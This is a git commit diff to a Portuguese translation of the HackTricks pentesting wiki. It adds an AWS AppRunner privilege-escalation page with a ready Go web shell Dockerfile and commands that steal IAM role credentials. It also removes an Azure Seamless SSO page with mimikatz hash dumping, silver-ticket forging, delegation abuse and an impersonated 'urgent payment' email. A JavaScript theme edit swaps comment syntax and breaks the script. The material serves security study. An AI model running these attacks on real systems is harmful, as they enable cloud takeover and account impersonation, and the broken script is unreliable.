Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

2025-12-12 15:50:19 -08:00 · 2025-08-01 09:45:56 +00:00
parent 3397adc761
commit 4231f7f6db
4 changed files with 86 additions and 204 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -267,6 +267,7 @@
    - [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
  - [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
    - [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
+    - [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
    - [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
    - [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
    - [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)
@@ -454,7 +455,7 @@
    - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
    - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
    - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md)
-    - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md)    
+    - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md)    
  - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
    - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
    - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md
@@ -0,0 +1,72 @@
+# AWS - AppRunner Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## AppRunner
+
+### `iam:PassRole`, `apprunner:CreateService`
+
+Um atacante com essas permissões pode criar um serviço AppRunner com um papel IAM anexado, potencialmente escalando privilégios ao acessar as credenciais do papel.
+
+O atacante primeiro cria um Dockerfile que serve como um web shell para executar comandos arbitrários no contêiner AppRunner.
+```Dockerfile
+FROM golang:1.24-bookworm
+WORKDIR /app
+RUN apt-get update && apt-get install -y ca-certificates curl
+RUN cat <<'EOF' > main.go
+package main
+
+import (
+"fmt"
+"net/http"
+"os/exec"
+)
+
+func main() {
+http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
+command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
+output, err := command.CombinedOutput()
+if err != nil {
+fmt.Fprint(w, err.Error(), output)
+return
+}
+
+fmt.Fprint(w, string(output))
+})
+http.ListenAndServe("0.0.0.0:3000", nil)
+}
+EOF
+RUN go mod init test && go build -o main .
+EXPOSE 3000
+CMD ["./main"]
+```
+Em seguida, envie esta imagem para um repositório ECR.  
+Ao enviar a imagem para um repositório público em uma conta AWS controlada pelo atacante, a escalada de privilégios é possível mesmo que a conta da vítima não tenha permissões para manipular o ECR.
+```sh
+IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
+docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
+aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
+docker push $IMAGE_NAME
+docker logout public.ecr.aws
+```
+Em seguida, o atacante cria um serviço AppRunner configurado com esta imagem de web shell e o IAM Role que deseja explorar.
+```bash
+aws apprunner create-service \
+--service-name malicious-service \
+--source-configuration '{
+"ImageRepository": {
+"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
+"ImageRepositoryType": "ECR_PUBLIC",
+"ImageConfiguration": { "Port": "3000" }
+}
+}' \
+--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
+--query Service.ServiceUrl
+```
+Após aguardar a conclusão da criação do serviço, use o shell da web para recuperar as credenciais do contêiner e obter as permissões do IAM Role anexado ao AppRunner.
+```sh
+curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
+```
+**Impacto Potencial:** Escalada de privilégios direta para qualquer função IAM que possa ser anexada a serviços AppRunner.
+
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md
@@ -1,191 +0,0 @@
-# Az - Seamless SSO
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Informações Básicas
-
-[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) O Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **loga automaticamente os usuários quando estão em seus dispositivos corporativos** conectados à sua rede corporativa. Quando ativado, **os usuários não precisam digitar suas senhas para fazer login no Azure AD**, e geralmente, nem mesmo digitar seus nomes de usuário. Este recurso oferece aos seus usuários fácil acesso às suas aplicações baseadas em nuvem sem precisar de componentes adicionais on-premises.
-
-<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
-
-Basicamente, o Azure AD Seamless SSO **loga os usuários** quando estão **em um PC conectado ao domínio on-prem**.
-
-É suportado tanto por [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) quanto por [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
-
-O SSO de desktop utiliza **Kerberos** para autenticação. Quando configurado, o Azure AD Connect cria uma **conta de computador chamada `AZUREADSSOACC$`** no AD on-prem. A senha da conta `AZUREADSSOACC$` é **enviada em texto claro para o Entra ID** durante a configuração.
-
-Os **tickets Kerberos** são **criptografados** usando o **NTHash (MD4)** da senha e o Entra ID utiliza a senha enviada para descriptografar os tickets.
-
-**Entra ID** expõe um **endpoint** (https://autologon.microsoftazuread-sso.com) que aceita **tickets** Kerberos. O navegador da máquina unida ao domínio encaminha os tickets para este endpoint para SSO.
-
-### Enumeração
-```bash
-# Check if the SSO is enabled in the tenant
-Import-Module AADInternals
-Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
-
-# Check if the AZUREADSSOACC$ account exists in the domain
-Install-WindowsFeature RSAT-AD-PowerShell
-Import-Module ActiveDirectory
-Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
-
-# Check it using raw LDAP queries without needing an external module
-$searcher = New-Object System.DirectoryServices.DirectorySearcher
-$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
-$searcher.FindOne()
-```
-## Pivotando: On-prem -> nuvem
-
-> [!WARNING]
-> A principal coisa a saber sobre este ataque é que ter apenas o TGT ou um TGS específico de um usuário que está sincronizado com o Entra ID é suficiente para acessar os recursos da nuvem.\
-> Isso ocorre porque é um ticket que permite que um usuário faça login na nuvem.
-
-Para obter esse ticket TGS, o atacante precisa ter um dos seguintes:
- **Um TGS de usuário comprometido:** Se você comprometer a sessão de um usuário com o ticket para `HTTP/autologon.microsoftazuread-sso.com` na memória, você pode usá-lo para acessar os recursos da nuvem.
- **Um TGT de usuário comprometido:** Mesmo que você não tenha um, mas o usuário foi comprometido, você pode obter um usando o truque de delegação de TGT falso implementado em muitas ferramentas como [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) e [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
- **Um hash ou senha de usuário comprometido:** SeamlessPass se comunicará com o controlador de domínio com essas informações para gerar o TGT e, em seguida, o TGS.
- **Um ticket dourado:** Se você tiver a chave KRBTGT, pode criar o TGT que precisa para o usuário atacado.
- **O hash ou senha da conta AZUREADSSOACC$:** Com essas informações e o Identificador de Segurança (SID) do usuário a ser atacado, é possível criar um ticket de serviço e autenticar-se com a nuvem (como realizado no método anterior).
-
-### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
-
-Como [explicado neste post do blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), ter qualquer um dos requisitos anteriores torna muito fácil usar a ferramenta **SeamlessPass** para acessar os recursos da nuvem como o usuário comprometido, ou como qualquer usuário se você tiver o hash ou senha da conta **`AZUREADSSOACC$`**.
-
-Finalmente, com o TGT é possível usar a ferramenta [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) com:
-```bash
-# Using the TGT to access the cloud
-seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
-# Using the TGS to access the cloud
-seamlesspass -tenant corp.com -tgs user_tgs.ccache
-# Using the victims account hash or password to access the cloud
-seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
-seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
-# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
-seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
-seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
-wmic useraccount get name,sid # Get the user SIDs
-```
-Mais informações para configurar o Firefox para funcionar com SSO contínuo podem ser [**encontradas neste post do blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
-
-### Obtendo hashes da conta AZUREADSSOACC$
-
-A **senha** do usuário **`AZUREADSSOACC$` nunca muda**. Portanto, um administrador de domínio poderia comprometer o **hash desta conta** e, em seguida, usá-lo para **criar tickets silver** para se conectar ao Azure com **qualquer usuário local sincronizado**:
-```bash
-# Dump hash using mimikatz
-Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
-mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
-
-# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
-Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
-
-# Dump using ntdsutil and DSInternals
-## Dump NTDS.dit
-ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
-## Extract password
-Install-Module DSInternals
-Import-Module DSInternals
-$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
-(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
-```
-> [!NOTE]
-> Com as informações atuais, você poderia apenas usar a ferramenta **SeamlessPass** conforme indicado anteriormente para obter tokens azure e entraid para qualquer usuário no domínio.
-> Você também poderia usar as técnicas anteriores (e outras) para obter o hash da senha da vítima que deseja impersonar em vez da conta `AZUREADSSOACC$`.
-
-#### Criando Silver Tickets
-
-Com o hash, você agora pode **gerar silver tickets**:
-```bash
-# Get users and SIDs
-Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
-
-# Create a silver ticket to connect to Azure with mimikatz
-Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
-mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
-
-# Create silver ticket with AADInternal to access Exchange Online
-$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
-$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
-## Send email
-Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
-```
-### Usando Silver Tickets com Firefox
-
-Para utilizar o ticket silver, os seguintes passos devem ser executados:
-
-1. **Iniciar o Navegador:** O Mozilla Firefox deve ser iniciado.
-2. **Configurar o Navegador:**
- Navegue até **`about:config`**.
- Defina a preferência para [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) para o [valor](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) especificado:
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
- Navegue até `Configurações` do Firefox > Pesquise por `Permitir autenticação única do Windows para contas Microsoft, de trabalho e escolares` e ative-a.
-3. **Acessar a Aplicação Web:**
- Visite uma aplicação web que esteja integrada com o domínio AAD da organização. Um exemplo comum é [login.microsoftonline.com](https://login.microsoftonline.com/).
-4. **Processo de Autenticação:**
- Na tela de login, o nome de usuário deve ser inserido, deixando o campo de senha em branco.
- Para prosseguir, pressione TAB ou ENTER.
-
-> [!WARNING]
-> Isso **não contorna o MFA se ativado** para o usuário.
-
-
-### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
-
-Para realizar o ataque é necessário:
-
- `WriteDACL` / `GenericWrite` sobre `AZUREADSSOACC$`
- Uma conta de computador que você controla (hash & senha) - Você pode criar uma
-
-
-1. Passo 1 – Adicione sua própria conta de computador
- Cria `ATTACKBOX$` e imprime seu SID/hash NTLM. Qualquer usuário do domínio pode fazer isso enquanto MachineAccountQuota > 0
-```bash
-# Impacket
-python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
-```
-2. Etapa 2 – Conceder RBCD em `AZUREADSSOACC$` - Escreve o SID da sua máquina em `msDS-AllowedToActOnBehalfOfOtherIdentity`.
-```bash
-python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
-ATTACKBOX$ AZUREADSSOACC$
-
-# Or, from Windows:
-$SID = (Get-ADComputer ATTACKBOX$).SID
-Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
-```
-3. Passo 3 – Forjar um TGS para qualquer usuário (por exemplo, alice)
-```bash
-# Using your machine's password or NTLM hash
-python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
-DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
-
-# Produces alice.autologon.ccache
-
-#Or, from Windows:
-Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
-/impersonateuser:alice `
-/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
-```
-Você agora pode usar o **TGS para acessar recursos do Azure como o usuário impersonado.**
-
-
-### ~~Criando tickets Kerberos para usuários apenas na nuvem~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
-
-Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, eles podem **definir SID para qualquer usuário na nuvem**. Dessa forma, **tickets** Kerberos podem ser **criados também para usuários apenas na nuvem**. O único requisito é que o SID seja um [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
-
-> [!CAUTION]
-> Alterar o SID de usuários administradores apenas na nuvem agora está **bloqueado pela Microsoft**.\
-> Para mais informações, consulte [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
-
-
-
-## Referências
-
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [TR19: Estou na sua nuvem, lendo os e-mails de todos - hackeando o Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
-
-{{#include ../../../banners/hacktricks-training.md}}
--- a/theme/ai.js
+++ b/theme/ai.js
@@ -1,6 +1,6 @@
 /**
 * HackTricks Training Discounts
- */
+


 (() => {
@@ -9,13 +9,13 @@
  const TXT = 'Click here for HT Summer Discounts, Last Days!';
  const URL = 'https://training.hacktricks.xyz';

-  /* Stop if user already dismissed */
+  # Stop if user already dismissed
  if (localStorage.getItem(KEY) === 'true') return;

-  /* Quick helper */
+  # Quick helper
  const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });

-  /* --- Overlay (blur + dim) --- */
+  # --- Overlay (blur + dim) ---
  const overlay = $('div', `
    position: fixed; inset: 0;
    background: rgba(0,0,0,.4);
@@ -24,7 +24,7 @@
    z-index: 10000;
  `);

-  /* --- Modal --- */
+  # --- Modal ---
  const modal = $('div', `
    max-width: 90vw; width: 480px;
    background: #fff; border-radius: 12px; overflow: hidden;
@@ -33,10 +33,10 @@
    display: flex; flex-direction: column; align-items: stretch;
  `);

-  /* --- Title bar (link + close) --- */
+  # --- Title bar (link + close) ---
  const titleBar = $('div', `
    position: relative;
-    padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
+    padding: 1rem 2.5rem 1rem 1rem; # room for the close button
    text-align: center;
    background: #222; color: #fff;
    font-size: 1.3rem; font-weight: 700;
@@ -53,7 +53,7 @@
  link.textContent = TXT;
  titleBar.appendChild(link);

-  /* Close "X" (no persistence) */
+  # Close "X" (no persistence)
  const closeBtn = $('button', `
    position: absolute; top: .25rem; right: .5rem;
    background: transparent; border: none;
@@ -65,11 +65,11 @@
  closeBtn.onclick = () => overlay.remove();
  titleBar.appendChild(closeBtn);

-  /* --- Image --- */
+  # --- Image ---
  const img = $('img');
  img.src = IMG; img.alt = TXT; img.style.width = '100%';

-  /* --- Checkbox row --- */
+  # --- Checkbox row ---
  const label = $('label', `
    display: flex; align-items: center; justify-content: center; gap: .6rem;
    padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
@@ -83,7 +83,7 @@
  };
  label.append(cb, document.createTextNode("Don't show again"));

-  /* --- Assemble & inject --- */
+  # --- Assemble & inject ---
  modal.append(titleBar, img, label);
  overlay.appendChild(modal);

@@ -94,7 +94,7 @@
  }
 })();

-
+*/